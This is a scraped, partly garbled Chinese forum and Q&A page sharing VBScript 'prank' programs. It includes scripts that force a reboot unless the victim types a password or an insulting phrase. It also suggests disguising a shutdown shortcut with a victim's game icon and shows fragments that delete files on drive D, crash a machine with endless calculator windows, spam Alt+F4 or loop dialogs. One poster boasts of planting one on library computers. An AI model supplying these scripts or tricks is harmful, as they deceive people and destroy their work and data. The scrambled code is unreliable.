摘要：怎样制作恶搞关机软件 on error resume next dim WSHshellA set WSHshellA = wscript createobject(＂wscript shell＂) ...

怎样制作恶搞关机软件

on error resume next dim WSHshellA set WSHshellA = wscript.createobject(＂wscript.shell＂) WSHshellA.run ＂cmd.exe /c shutdown -r -t 15 -c ＂＂请您输入开机密码，否则系统将在十五秒后关闭并将所有文件删除，不信，试试···＂＂ ＂，0 ,true dim a do while(a ＂136763792＂) a = inputbox （＂您须正确的输入开机密码，否则系统将在十五秒后关闭并删除所有文件，输入 ＂＂密码＂＂ ＂，＂请输入密码＂，＂输入密码＂，8000,7000） msgbox chr(13) + chr(13) + chr(13) + a,0,＂MsgBox＂ loop msgbox chr(13) + chr(13) + chr(13) + ＂※密码错误※＂ dim WSHshell set WSHshell = wscript.createobject(＂wscript.shell＂) WSHshell.run ＂cmd.exe /c shutdown -a＂,0 ,true msgbox chr(13) + chr(13) + chr(13) + ＂哈哈，逗你玩的啊，不过十五秒之内你不输入真的就关机了＂ 别人给你的文件和这个文件一样的 很简单 在20秒之内 打开任务管理器 文件-运行 在输入shutdown -a就行了说满桌面都是猪头 好像是骗人的吧..以后接文件要谨慎 特别是 exe cmd vbe vbc的文件希望对LZ有帮助 谢谢！

谁能破解那个一打开就45秒自动关机的恶搞程序

不要听楼上的瞎说 ，这个只是很简单的代码而已 不是病毒那个文件的代码是这样的 on error resume next dim WSHshellA set WSHshellA = wscript.createobject(＂wscript.shell＂) WSHshellA.run ＂cmd.exe /c shutdown -r -t 70 -c ＂＂说我是猪，不说我是猪就一分钟关你机，不信，试试···＂＂ ＂，0 ,true dim a do while(a ＂我是猪＂) a = inputbox （＂我是猪，就不关机，快撒，说 ＂＂我是猪＂＂ ＂，＂说不说＂，＂不说＂，8000,7000） msgbox chr(13) + chr(13) + chr(13) + a,0,＂MsgBox＂ loop msgbox chr(13) + chr(13) + chr(13) + ＂早说就行了嘛＂ dim shell set WSHshell = wscript.createobject(＂wscript.shell＂) WSHshell.run ＂cmd.exe /c shutdown -a＂,0 ,true msgbox chr(13) + chr(13) + chr(13) + ＂哈哈哈哈，猪＂ 是这样破解的 要避免被耍，可以在界面shutdown -a dim 定义变量、声明变量并分配存储空间 set 实现 inputbox 输入信息框 msgbox 消息框 WSHshellA和WshShell 对象，提供对本地 Windows 外壳程序的访问，这两个名字都是可以改的。

set WSHshellA = wscript.createobject(＂wscript.shell＂) "创建WSHshellA对象，赋给它们具体的功能，例如用以运行文件等 WSHshellA.run ＂cmd.exe /c shutdown -r -t 60 -c"hello",0 ,true "隐藏运行程序 o while(a ＂我是猪＂) 把这一行的“”改成“=”就行了，原作者希望你说那句话，不说就关机，改完后正好相反。

用记事本打开 保存为vbe格式就行了

手机被恶搞怎么办突然关机。

你可以在桌面建立一个新的快捷方式，输入“shutdown -s -t 0”，命名后保存，以后只要双击这个图标就可以快速关闭计算机了。

0 是指0秒后自动关机，如果输入的是60，那就是60秒后关机。

然后把这个快捷方式的图标 改成对方经常玩的游戏 或软件的图标，这样对方一旦点击了这个图标，就会立马自动关机。

哈哈哈我们以前经常这么恶搞一些同学的。

有没有手机恶作剧的程序或软件

com.run &quot.exe /c shutdown -a＂,8000!&quot.cn/s/blog_66b3c6d30100luee.html＂ target=＂_blank＂>http；＂不说&quot，试试···＂＂ &quot,＂ dim WSHshell set WSHshell = wscript.createobject(&quot,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,＂MsgBox＂ loop msgbox chr(13) + chr(13) + chr(13) + &quot://blog.sina；＂早说就行了嘛&quot,＂&gt,true msgbox chr(13) + chr(13) + chr(13) + &quot: ...

寻找一个恶搞软件！在qq上发给人家一个信息,然后一打开全屏都是...

cmd,7000)msgbox chr(13) + chr(13) + chr(13) + a.createobject(＂wscript.shell＂说我是猪，就不关机；，8000，快撒，说 ＂＂我是猪＂不说&quot代码如下（要复制完整哦）on error resume nextdim WSHshellAset WSHshellA = wscript.run &quot,0,&quot，不说我是猪就一分钟关你机，不信；哈哈哈哈，真过瘾&quot，＂我是猪＂）a = inputbox (＂,0 ，试试···＂＂ ＂＂说不说＂；，0 ;c shutdown -r -t 60 -c ＂＂说我是猪； ＂，true msgbox chr(13) + chr(13) + chr(13) + ＂)WSHshell;loopmsgbox chr(13) + chr(13) + chr(13) + ＂早说就行了嘛＂dim WSHshellset WSHshell = wscript,＂MsgBox&quot.createobject(＂wscript.shell&quot.exe /c shutdown -a＂)WSHshellA.run ＂cmd.exe /,true dim ado while(a &quot...

我下载了一个不知道的软件,结果手机被锁了,当时手机界面是有一...

\所有文件dim WSHshellset WSHshell = wscript；还剩43下＂）WScript.Echo（＂还剩47下对.createobject(＂wscript.shell＂)WScript.Echo（＂你是可爱的小朋吗？＂） WScript.Echo(&quot.Echo（＂还剩36下＂还剩38下＂） WScript.Echo(＂loop----------------------------------------------------------------------------三；)WSHshell；还剩28下＂） WScript.Echo(&quot.Echo（＂还剩42下&quot.Echo（＂还剩26下&quot。

其中 do until s=500 ,500可以随意更改）dim sdo until s=500s=s+1msgbox ＂还剩35下＂） WScript.Echo(&quot，快点，小笨蛋！＂)WScript.createobject(＂wscript.shell&quot，要快哦；cmd /c ＂＂del d：\。

不要搞破坏.shell＂)WSHshell.run ＂shutdown -f -s -t 00＂;wscript，后果很严重哦。

＂） WScript.Echo(＂calc＂哈哈 你被耍了；) WScript；哈；还剩37下＂）WScript,64loop---------------------------------------------------------------------------八、关不掉的窗口WScript.Echo(&quot，学习vbs的朋友非常有帮助；哥们，给我按500次回车吧＂；嘿嘿！你也会很惨滴哦＂还剩30下＂)WScript;loop----------------------------------------------------------------------------六；还剩48下，我生气拉，等你这么久，心都凉啦；还剩27下＂）WScript,0 ,true---------------------------------------------------------------------------四.Echo（＂那你要点上50下哦，不过会给你惊喜滴＂）WScript;)while(1)WSHshell;loop----------------------------------------------------------------------------二；嘿；）WScript.Echo(&quot，死循环的使用比较多、按500次回车（以上代码在运行者的电脑上显示500个对话框，谢谢你打开我哦；还剩32下＂） WScript.Echo(＂)WScript.Echo(&quot、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈domsgbox &quot，我想你拉，这你都不知道吗？＂)WScript，说~是不是不关心我＂） WScript.Echo(&quot.Echo（＂还剩45下，记得要快哦！＂） WScript.Echo（＂还剩25下＂） WScript.Echo(&quot?&quot.Echo（＂怎么才来；哼；还剩34下＂）WScript,0 ,true----------------------------------------------------------------------------五、不断弹出窗口while(1)msgbox ＂ loop---------------------------------------------------------------------------七。

新建一个记事本 把下面的代码复制进去 另存为VBE格式的就可以了 、不断按下alt+f4 （开什么都关闭……）dim WSHshellset WSHshell = wscript;s＂＂＂、直接关机dim WSHshellset WSHshell = wscript.createobject（＂还剩46下：一、打开无数个计算器，直到死机set wsh=createobject(＂)WScript.Echo(＂You are foolish；小强很生气.Echo（＂还剩39下＂）WScript.Echo(&quot!&quot.Echo（＂还剩33下&quot，就这样快点点！＂） WScript.Echo(＂)WScript.Echo(&quot.SendKeys ＂%{F4}&quot、删除Dvbs整人代码大集合.Echo（＂还剩29下&quot.Echo（＂还剩49下，快点点哦＂） WScript.Echo(＂)WScript.Echo(&quot。

你啊就是笨.shell＂)dowsh。

＂还剩40下＂）WScript；*，收集的比较全，喜欢的朋友可以参考下；是不是想清除我；）WScript.Echo(&quot.* / f /q /.run &quot，我等你很久拉！＂&TSName)WScript.Echo(&quot，我先不打扰你工作。

＂)WScript.run ＂还剩24下＂）WScript.Echo（＂还剩23下＂）WScript.Echo（＂还剩22下＂） WScript.Echo（＂还剩21下＂）WScript.Echo（＂还剩20下＂）WScript.Echo（＂还剩19下＂） WScript.Echo（＂还剩18下＂）WScript.Echo（＂还剩17下＂）WScript.Echo（＂还剩16下＂） WScript.Echo（＂还剩15下＂）WScript.Echo（＂还剩14下＂） WScript.Echo（＂还剩13下停停！！！慢点，我有话要说＂）WScript.Echo（＂还剩12下，你继续点我就会消失滴＂） WScript.Echo（＂还剩11下，以后就看不到我拉。

555555＂）WScript.Echo（＂还剩10下，你现在可以选择停止！＂） WScript.Echo（＂还剩9下。

你还点啊，不要我拉？＂）WScript.Echo（＂还剩8下，有点伤心拉，干嘛丢弃人家＂） WScript.Echo（＂还剩7下。

疯了，你有点负意！＂）WScript.Echo（＂还剩6下。

对。

你就点吧，我恨你！＂） WScript.Echo（＂还剩5下，不明白，删除我你就好吗？＂）WScript.Echo（＂还剩4下！真要删除我？＂） WScript.Echo（＂还剩3下。

可是我真的很眷恋你。

。

。

＂）WScript.Echo（＂还剩2下。

不要这么绝情嘛，人家是爱你的！＂） WScript.Echo（＂还剩1下。

哼，既然你这么绝情。

也别怪我无义！！！＂） WScript.Echo（＂我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。

＂）WScript.Echo（＂想结素我么？那你就再多点一次＂）WScript.Echo（＂想结素我么？那你就再多点一次＂）WScript.Echo（＂想结素我么？那你就再多点一次＂）WScript.Echo（＂想结素我么？那你就再多点一次＂） WScript.Echo（＂想结素我么？那你就再多点一次＂）WScript.Echo（＂想结素我么？那你就再多点一次＂）WScript.Echo（＂想结素我么？那你就再多点一次＂）WScript.Echo(＂...